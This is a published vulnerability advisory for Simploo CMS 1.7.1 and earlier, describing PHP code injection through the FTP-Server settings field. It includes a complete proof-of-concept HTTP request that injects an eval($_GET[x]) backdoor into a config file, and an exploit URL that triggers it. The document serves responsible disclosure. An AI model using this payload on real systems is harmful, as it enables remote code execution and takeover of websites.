Simploo CMS Community Edition - Remote PHP Code Execution Issue
Details
=============
Product: Simploo CMS Community Edition
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.simploo.de/
Advisory-Status: published
Credits
=============
Discovered by: David Vieira-Kurz of MajorSecurity
Affected Products:
=============
Simploo CMS 1.7.1 and prior
Description
=============
"Simploo CMS is a content management system (CMS)."
More Details
=============
I have discovered some vulnerabilities in Simploo CMS, which can be
exploited by malicious people to compromise a vulnerable system.
Input passed via the "FTP-Server" field when editing FTP options is not
properly sanitised in lib/Simploo/Config/Writer/Ini.php before being
saved to the config/custom/base.ini.php file. This can be exploited to
inject and execute arbitrary PHP code via a specially crafted parameter
value. Successful exploitation requires "write" privileges.
Proof of Concept
=============
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
si_admin_selected=si_tree_settings_updates_options;
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements
Pragma: no-cache Cache-Control: no-cache Content-Length: 105
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=
Exploit
=============
http://localhost/simploo/config/custom/base.ini.php?x=phpinfo%28%29;
Solution
=============
Edit the source code to ensure that input is properly sanitised.
Timeline
================
2010-07-16, vulnerability identified
2010-07-17, vendor contacted and asked for pgp key
2010-07-19, vendor sent his pgp key
2010-07-20, vulnerability sent to vendor
2011-01-18, advisory published after 6 month
Use of terms
================
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MajorSecurity be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages, even if MajorSecurity has been advised of the possibility of
such damages.
